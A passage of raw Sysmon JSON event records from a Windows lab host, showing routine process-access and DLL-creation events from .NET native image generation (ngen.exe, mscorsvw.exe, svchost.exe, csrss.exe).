C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:25.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4349-5F2D-0000-0010ED261100}","TargetProcessId":"4800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:31.119\r\nProcessGuid: {90617006-4349-5F2D-0000-0010ED261100}\r\nProcessId: 4800\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\12c0-0\\System.Windows.Forms.dll\r\nCreationUtcTime: 2020-08-07 12:04:31.119","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:31.119","ProcessGuid":"{90617006-4349-5F2D-0000-0010ED261100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\12c0-0\\System.Windows.Forms.dll","CreationUtcTime":"2020-08-07 12:04:31.119","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-0010572C1100}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-0010572C1100}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-0010572C1100}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-0010572C1100}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-0010572C1100}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-0010572C1100}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-001022301100}\r\nTargetProcessId: 4488\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-001022301100}","TargetProcessId":"4488","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-001022301100}\r\nTargetProcessId: 4488\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-001022301100}","TargetProcessId":"4488","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-001022301100}\r\nTargetProcessId: 4488\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-001022301100}","TargetProcessId":"4488","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:31.916\r\nProcessGuid: {90617006-434F-5F2D-0000-001022301100}\r\nProcessId: 4488\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1188-0\\System.Runtime.Remoting.dll\r\nCreationUtcTime: 2020-08-07 12:04:31.901","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:31.916","ProcessGuid":"{90617006-434F-5F2D-0000-001022301100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1188-0\\System.Runtime.Remoting.dll","CreationUtcTime":"2020-08-07 12:04:31.901","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.963\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-001020341100}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 